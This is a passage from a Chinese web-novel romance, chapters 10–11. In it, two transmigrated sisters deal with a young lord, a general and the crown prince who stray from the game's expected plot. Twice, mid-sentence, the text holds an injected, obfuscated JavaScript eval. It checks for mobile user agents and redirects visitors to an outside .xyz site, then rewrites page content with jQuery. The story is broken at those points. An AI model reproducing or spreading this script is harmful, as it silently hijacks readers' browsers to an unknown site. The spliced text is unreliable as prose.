她这话说完,那装潢华丽的马车帘忽然一动,从上头下来个身着华服、容貌不凡的美男子,正是英国公世子赵怀珏了。 赵怀珏往曲思盈的面上看了一眼,开口道:“你瞧着很眼熟。” 曲思盈一愣。 不对啊?原作里他下来的时候说得不是这句话啊? 却见赵怀珏又抬眼看了看曲思盈的马车,忽然丢下愣在原地的曲思盈,抬起腿往那马车跟前走了过去,又伸手一把将帘子掀了开来,果然见到坐在车里、一脸错愕的曲昭盈! 赵怀珏冷笑一声:“又是你。” “你三番四次故意来招惹我,就是为了引起我的注意?”他看向曲昭盈的表情似乎还带这些戏谑,“你觉得自己耍这些小把戏,我瞧不出来吗?” 曲昭盈一脸懵:“啊?” 我不是,我没有。 10.第十章 金色的阳光从被掀开的帘子外洋洋洒洒地洒进车厢里,又悄悄地爬到曲昭盈的衣摆上,宛若一只要将她生生从车厢内拖出来的大手,实在霸道得很。 一如站在她面前的赵怀珏。 那模样英俊的世子爷气势汹汹地站在那阳光里,面上挂着一副“果真如此”的表情,颇为戏谑地盯着曲昭盈看。 曲昭盈赶忙为自己辩解:“我不是,我没有!” 赵怀珏自然不信她这苍白的解释,只当她是被揭穿了无地自容,冷笑道:“每个女子都这样同本少爷说,你以为我会信你?” 曲昭盈还未说话,赵怀珏的胳膊却突然叫人握住了,他侧过脸去,就见一个个子高了他半头的男子正握着自己的手,低声道:“世子请自重。” 此人正是曲昭盈的侍卫卫沉。 赵怀珏眉头一皱,他的侍卫小厮当即冲上前来拽卫沉要将他拖下去,周围人群也渐渐聚集起来议论纷纷,场面一时间混乱不堪,曲思盈这才反应过来,大喊了声:“快停下快停下!” 她手里的原作并没有出现这样的情节,虽然心急之下喊了停,却也一时间不知道接下来该说些什么才能制止这一场闹剧,下意识冲赵怀珏说了句:“你就没什么要跟我说的?” 分明自己才是本作的女主,此时这一场相遇的剧情更是为了自己而写,为什么赵怀珏连看都不看自己一眼? 赵怀珏刚被他的侍卫解救出来,正皱着眉头要说话,听到曲昭盈莫名其妙冲自己开口说了这么句没头没脑的话,当即面色不善地道:“你算什么东西?” 曲思盈委屈极了,想为自己争辩几句也不知道要说什么,却听得赵怀珏身旁的侍卫大喊“还愣着干嘛?还不把这没大没小的小子给处理了?!” 他说的小子,自然是方才来拽世子爷手的曲昭盈侍卫,曲思盈下意识要去拦,却也被骂了句“干什么!信不信连你一起收拾了!”顿时吓得面如菜色,是动也不敢动再动一下了。 曲昭盈终于坐不住,从马车中钻了出来,大声喝道:“住手!” 她原本并不想插手此事,怕自己横插一脚又乱了曲思盈的剧情,只是眼看着事态恶化,女主角曲思盈也一副不知所措的模样,只怕再不做些什么事态会更下混乱,情急之下只能从马车里头冲了出来。 “世子爷息怒,”她走到曲思盈面前将她护在自己身后,毕恭毕敬地对赵怀珏道,“不知我到底做错了什么,竟惹得世子爷如此不愉快?” 见她终于舍得从马车里头出来,赵怀珏面上总算露出副得逞的表情,他摆了摆手示意自己的护卫住手,这才对曲昭盈道:“你这侍卫不知天高地厚,居然敢对我动手,难道我不该罚他?” “他既是我的侍卫,保护我乃是他的职责所在,”曲昭盈向他行了一礼,俨然是个被人欺负的柔弱女子模样,“方才是我受了惊吓他才会如此僭越,此事不过一场误会,世子爷大人有大量,还请您饶了他吧。” “误会?”赵怀珏冷笑一声,显然不相信曲昭盈的话,“谁知道你这侍卫是不是受了你的命令,故意这般无礼,好叫我记住你的。” 曲昭盈觉得这人简直不可理喻,险些当街翻出一个白眼来:“世子爷多虑了。” “我与您并不相熟,何故要招惹你?” 赵怀珏却冷哼一声,道:“我见你是个姑娘,还给你留些脸面,你倒要我亲自揭穿你不成?” “我行得端坐得直,有什么怕的?”曲昭盈半点不怕他,直言顶撞道,“与世子在此相遇不过就是巧合,若非世子硬要与我们起冲突,我想今日我也见不着你。” “更何况我刚刚连马车都没有下,分明是你执意冲过来掀了我的帘子。” 反正她连谢懿玄都已经招惹了,如今再多招惹一个赵怀珏似乎也不那么可怕了:“怎么看都像是你处心积虑要见我吧?” “你说什么?”赵怀珏怒道,“你未免太瞧得起自己!” 曲昭盈强迫自己冷静下来,好叫自己不急着去辩驳,反而接着方才的话继续讲道:“世子爷说我在这里等着你,既是一口咬定我早已知晓你的行踪。” “若果真如此,我想世子爷比起在这里找我的麻烦,不如去好好查一查身边人的问题,看看究竟是谁胆大包天,敢随意泄露您的行踪。” 她嘴上说着胆大妄为、以下犯上的话,面上的表情与仪态却依旧完美:“否则下一次若遇见的不是爱慕于您、想要攀附英国公府的小姐,而是个别有居心、想要暗害与您的小人,我只怕老来得子的英国公将来白发人送黑发人,平白伤心。” “你!”赵怀珏被她几句话说得怒火中烧,下意识抬起手想要打她,却又生生忍住了——她到底是个官家女子,赵怀珏再怎么无法无天,也不至于对一个弱女子动手,只是曲昭盈那副模样他看得实在来气,那停在空中的手便又转而去拽曲昭盈的胳膊。 虽然他也不知道自己拽她要做什么,但他就是想看看这丫头面上那副神气的表情崩塌的模样,想叫她手足无措、叫她在自己面前认输。 曲昭盈果真被他这模样吓到了,面上的表情有一瞬间的慌乱,赵怀珏总算得逞,正要开口说什么,忽然听得有人在后头大喝一声:“闹什么呢!” 众人闻声向后看去,就见一青年男子从人群中骑马而来,他看见人群中的赵怀珏,面上的表情显然有些意外,下意识开口唤了句:“怀珏?” 此人一身青色圆领窄袖长袍,腰间系一条黑色皮质腰带,正是秦景和本人。 他原以为出了什么乱子,正上来要看看情况,却发现是自己的朋友赵怀珏手里拽着个姑娘,当即问他:“你这是在做什么?” 曲昭盈趁机抽出手来,又向秦景和福了福身,恭谨道:“世子爷只是和民女有些误会。” 她说话的语气没有什么起伏,只当赵怀珏是个无理取闹的陌生人:“现下误会解除了,还请世子爷高抬贵手。” 赵怀珏被这么一打断,当即觉得没了兴致,他瞧见曲昭盈又摆出那副高不可攀的模样,更是觉得没来由的心烦,吐出一句“无趣”便转身回了自己马车上,又掀开窗帘冲秦景和说了句:“一起走吧,你不也要去曲江宴么?” 秦景和原本还想多问上几句,瞧见赵怀珏一副气急败坏、慌忙要离开的模样,心下不免有些好奇,当即策马跟了上去。 方才围观的人群也似退潮一般散去,这一场闹剧终于随着赵怀珏的离去消散了,只留下一地被人踩进泥里、灰头土脸的落花,叫人多少还能窥探到其中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864241|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点方才的凌乱。 卫沉叫赵怀珏的侍卫给放了,却也十分羞愧,灰头土脸地对曲昭盈道:“我没保护好小姐,请小姐责罚。” 曲昭盈却笑了笑,道:“对方人那么多,你一个人又能做什么?” 卫沉低着头,仿佛那颗脑袋有千斤重似的,无论如何也抬不起来,羞耻与无力感充斥在他的脑海里,让他愧不难当:“是我太冲动了。” “你只是着急救我,何错之有?”曲昭盈却并不怪他,反而还宽慰他道,“你没受伤已经是万幸,此事就算过去了,莫要自责了。” 正巧马车此时修好了,曲昭盈便不再多言,拉着曲思盈转身上了马车。 曲思盈这时才回过神来,大喊一句:“吓死我了!” 喊完她又觉得不妥,贴着曲昭盈在马车上坐下,压低声音问道:“他怎么回事?怎么不按剧情走?” 曲昭盈又哪里知道?她摇了摇头正要开口,却见曲思盈一副若有所思的模样正盯着自己。 窗外的光从窗帘外头半遮半掩地照进来,映地曲思盈的一双眼睛在光里明明灭灭,那眼神好似盯上了猎物的豺狼,叫曲昭盈莫名地周身一寒,下意识问她:“怎么了?” “我在想,”曲思盈炸了眨眼睛,缓缓道,“会不会是因为你啊?” “因为你和我都有一个系统,两个人在剧情里起了冲突,所以才会导致赵怀珏没有按照既定的剧情行动!” 曲昭盈觉得她说得有几分道理。 只是她还未来得及表示一句赞同,就有听得曲思盈担忧道:“那万一你也影响了谢聿珩的剧情怎么办?” 她两条清秀的眉似打结的线一般拧在一起,整张脸都好似一张皱巴巴的纸:“你不准找谢聿珩。” “我不会,”曲昭盈立刻接口,“我到会场就找地方躲起来,等到你过了跟谢聿珩的剧情再出现,行吗?” 听到她这样说,曲思盈的脸才有舒展开,笑嘻嘻地应了好。 “你别怪我这么紧张,”曲思盈解释道,“我实在太喜欢他,太想和他在一起了才会这样。” 曲昭盈表示理解,二人就这么一路畅通无阻地到了曲江池。 曲江以其水曲折为名,有宫殿与几许水体,杨柳叫风吹斜在水岸边,岸上草若碧丝,又有欢笑声鼎沸其中,放眼过去皆是盎然的春色,叫人心下忍不住便要轻快起来。 只是这轻快显然是不属于曲昭盈的。 甫一入了宫门,她就发现有人在等自己。 秦景和一瞧见她进来,便忙不迭地朝她走来,问她:“曲姑娘可还好?” “方才我问过怀珏,是他对你无礼了,我代他想你道歉。” 要道歉也是赵怀珏来找自己道歉,关秦景和什么事?只是曲昭盈心里这样想,面上却摆出副大度的模样,笑盈盈地道:“秦将军客气了,我没事,多谢您关心。” 她不想和卫沉以外的男主角扯上关系,自然不肯与他再多说什么话,只想着随便说上几句敷衍过去早早脱身,却不想秦景和似乎并不肯放过她,他盯着曲昭盈小半晌,终于开口问她:“我总觉得曲姑娘瞧着很眼熟。” “我们是不是在哪里见过?” 曲昭盈心里顿时“噗通”一声。 11.第十一章 恼人的春风自东刮来,像女子酥软的手一般在枝头上轻轻拂过,将开得热闹的花瓣一把一把地摘下,又毫不留情地将它们丢落,叫这一片湛蓝的天陡然下起了樱色的雪,枝头的鸟正在这样的雪里高声鸣叫,清脆的歌声与那东风的声音交织在一起,听得曲昭盈心里莫名有些焦躁。 今日郡主生辰宴,来往宾客众多,秦景和像堵墙似的挡在曲昭盈的跟前,自然招来路人频频相看,曲思盈突然开口插了句:“秦小将军贵人多忘事,先前咱们在孔老太傅寿宴上见过一回的,我妹妹和你打过招呼。” 秦景和“哦”了一声,眼睛却依旧盯着曲昭盈看,不死心似的问:“是这样吗?” 曲昭盈点了点头,又道:“小将军若是无事,便叫我们姐妹二人进去吧。” 她实在是不想见到秦景和。 只要一瞧见他,她便总是忍不住想起他死在自己面前那一晚。 他满身是血、连呼吸都困难的模样与面前的人重叠起来,叫曲昭盈的心脏没来由地砰砰狂跳,连鼻子都有些酸涩,她赶忙低下头去,生怕自己一个忍不住又要哭了。 她总觉得自己有愧于他,总觉得他会死和自己攻略他离不开关系,下意识就想逃避,可秦景和显然不想这样简单就放过她。 “可我总觉得与小姐很熟悉,”秦景和不自觉地往曲昭盈的方向跨了一步,与她只有一臂之距,仿佛只要一伸手就能将她圈进怀里,“你真的和我没见过?” 他解释不清自己为何要缠着这个姑娘,只是他心里头总觉得这个曲二小姐熟悉的很,仿佛她就是这世间与自己最亲近的人,可他却无论如何都想不起自己究竟何时与她相遇、相识相知了。 这感觉实在不好受,就跟被人下了蛊似的,叫他抓心挠肝的恼得紧,这才叫做了出把人堵在宴席上的傻事。 曲昭盈低着头不看他,只闷闷地又说了句:“秦小将军可能记错了,我真的未曾与您有过什么交集。” 但她越不看他,秦景和就越觉得她是心虚在骗自己,立即追问道:“既然如此,你为何不抬头看着我说话?你在怕什么?” “秦将军莫要太过分了!”还是卫沉先出言喝止,“我家小姐是尚未出阁的闺秀,不看您又哪里不对?于情于理您都不该这般纠缠了,还请将军饶了我家小姐。” 曲思盈此时也反应过来,忙顺着卫沉的话接口道:“即便方才您出手相助,如今这样也着实有些无理了。” “将军,请让开。” 秦景和自然知道自己此时表现蛮横又无礼,惹来人家不愉快也是正常,此时即便是曲昭盈恼羞成怒,发起火来扇自己一巴掌都是该的——可他今日大抵是真的被人施了什么妖术,他就是说不清为什么想要跟着姑娘有些牵扯,他甚至还想着,现下宁愿她扇自己一巴掌骂一骂自己,总好过如今这副连话都不肯和自己讲、对自己避如蛇蝎的模样。 他正要再说句什么,忽然有个宫人从身后走来对他道:“秦将军,太子殿下有请。” 这一句话生生将秦景和要说的话打断了,叫他心里那几句话说也不是不说也不是,憋在喉头难受的要命,却终于还是因为耽搁不起太子的召唤,只得放下曲昭盈先离开了。 曲昭盈见他转身离去,总算松了一口气,只是可这一口气儿还未来得及落到地上,就听得身后的曲思盈低声道:“又和游戏原本的剧情不一样了。” 因为这两次的变故,曲思盈几乎已经肯定这些改变与眼前的曲昭盈有关,也不等她说什么,便着急忙慌地开口道:“你等会先去雁栖湖那儿呆着。” 曲思盈口中的雁栖湖,指的是曲江芙蓉园西北那边的一处人造湖,据说当初光是挖湖就动用百名工人,历时两年才造就这样的景色,倒也算给她指了个好去处。 “你在那儿大概呆半个时辰,”曲思盈为了保险起见,打开系统细细看了一遍原文,这才对曲昭盈说道,“等到快开宴了再回来,记住了吗?” 她故意不告诉曲昭盈究竟谢聿珩会在何时、在何地出现,显然怕极了曲昭盈又破坏了剧情,害她与谢聿珩之间的邂逅出现什么问题,曲昭盈理解她的顾虑,自然不再多问什么,点了点头说了声“好”,就带着莲心往雁栖湖的方向去了。 这曲江芙蓉园乃是皇家园林,原本是不能轻易叫人使用的,只是这位玉和郡主是肃王的女儿,而肃王是当今圣上胞弟,据说年少时为了圣上挡了一箭,有从龙之功,是以圣人登基后对肃王可谓宠信至极,肃王妃又是当朝宠妃宁贵妃的亲妹妹,是以玉和甫一出生,皇帝就给她封了郡主,待遇几乎与本朝公主相似——甚至比起些不受宠的公主还要好了。 今日是玉和郡主的十五岁生辰,到了这个年纪,肃王妃自然想为这掌上明珠选个好夫婿,因而一早就向皇帝求了恩典,专程在曲江园为她操办生辰礼,皇帝想也不想便大手一挥同意了。 但在曲昭盈看来,其实应该是这个不入流的游戏编剧水平不行,想不到别的排场所以凑合写一个,像是有bug的代码以外的运行了起来一样,深究下去倒也没什么意义了。 今日除了寻常官员女眷,更有许多大人物出席,是以前头院子里头热闹非凡,倒是没几个人有心思游园,雁栖湖旁静静悄悄,竟是一个人都没有。 曲昭盈倒是乐得轻松不与人社交,自己在湖边的一处凉亭里找了个地方坐着,不远处的湖面叫风吹起一层又一层的涟漪,阳光碎在湖面上,像是碎金落在翠色的玉盘里,熠熠生辉的颜色刺得人眼睛生疼。 她方才险些在秦景和面前落泪,虽然勉强忍了下去,眼睛却有些酸涩,又给这金灿灿的阳光一照,更是觉得有些睁不开眼睛,正掏出帕子在揉眼睛,忽听得有个男声从背后传来。 那人道:“姑娘好像总是在哭泣。” 曲昭盈心里一惊,几乎立刻放下手帕转过头去,就见有个男子不知何时竟静悄悄地站在了自己身后! 那人一身鹅黄色云锦长衫,脚蹬玄色缎面靴,绣着祥云纹的丝线在日头下也好似在闪着光,只看一眼就能瞧出此人的出身不凡来;他身材挺拔,容貌又带着几分女子才有的秀丽与柔和,低着头看向曲昭盈的时候,眼睛就好似夜里高悬的月一般清澈明亮,映着雁栖湖的水,几乎要叫人醉了。 不是谢聿珩又是谁? 曲昭盈吓得跳起身来,匆匆忙忙地向他行礼:“民女见过太子殿下。” “曲姑娘不必拘谨,”谢聿珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15877146|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了笑,柔声道,“坐着吧。” 他那清泉一样的声音软了下来,没了上一次见面时的冷冽,反而叫人听出些温柔缱绻来,曲昭盈却没空去品味他声音的区别,她心里又急又疑,满脑子只剩下了一个念头:到底为什么谢聿珩会出现在此?! 曲思盈呢?他怎么没和曲思盈在一起?不是说他不在这里出现吗?难道他是什么随机刷新的NPC吗? 这世界是不是又出了什么bug?? 她没坐下,反而下意识地往谢聿珩身后的方向看过去,企图去寻找曲思盈的身影,见他身后只有一条长长的石板路,青色的石板上落着一道一道金色的阳光,有闪亮的尘埃在光间飞舞,除此之外便再也没了别的动静。 静静悄悄的,连个鬼影都没有。 谢聿珩不动声色地挪了挪步子,挡在曲昭盈的眼前,半强迫地叫她的眼神落在自己身上,问她:“在看什么?” 曲昭盈总算回过神来,意识到自己在太子面前失了礼数,垂眸道:“民女只是在想,殿下方才来的时候,是否遇到了民女的姐姐。” 谢聿珩不答她的话,反倒是径直在她面前坐下了,曲昭盈无法,只得拘束地坐回自己方才坐的位置上去,谢聿珩这才问她:“曲姑娘不想看见我?” 曲昭盈的脑子从没转的这么快过。 她飞速思考自己究竟该说些什么、做些什么,才能叫谢聿珩觉得自己无聊无趣,好让他早点结束对话离开,思来想去才终于恭恭敬敬地说了句:“民女不敢。” 多的话却也没了。 谢聿珩却又问她:“那你是不想和我说话吗?” 曲昭盈只能又摆出一副呆头呆脑的模样,将方才的话重复了一遍。 她说:“民女不敢。” 曲昭盈几乎将抗拒二字写在自己的脸上,寻常公子被她这样冷脸相待早已自觉无趣走了,谢聿珩堂堂一个太子,将来又是要做皇帝的人,身份何等尊贵,今日不知为何跟中了邪一样变着法要和她说话——他与她说话的语气,甚至已经接近在哄她了。 谢聿珩听到她这样的话,非但不恼,还要细细去打量眼前的姑娘:她分明故意穿得有些俗气,穿了烟粉色百花襦裙,又像要显摆似的在发髻间点了支粉色碧玺蝴蝶簪和金色累丝步摇,谢聿珩却半点不觉得她庸俗,反而还要伸出手去轻轻将那支累丝步摇从她的发鬓上下来,像折花似的小心翼翼:“这样才比较像你。” 曲昭盈没想到他会这样突然上手,一时间愣在原地不知作何反应,她今日在面颊上扫了薄薄一层胭脂,双唇点绛,那颜色宛若饱满熟透的石榴,似乎轻轻一捏,就要淌下黏腻又香甜的汁水来。 谢聿珩看得心下有若猫爪一般的痒,他挪开目光不再看她,又悄悄地将那支金簪攒在手里,这才开口道:“曲姑娘还未回答我。” “你方才在哭什么?” 曲昭盈对着人一点办法都没有,只能开口胡诌:“谢殿下关心……民女只是叫风沙迷了眼睛,并没有在哭。” 谢聿珩转过眼来看她,看着看着,忽然无声地笑了。 说谎。 谢聿珩想。 他方才分明看见秦景和去找她说话了。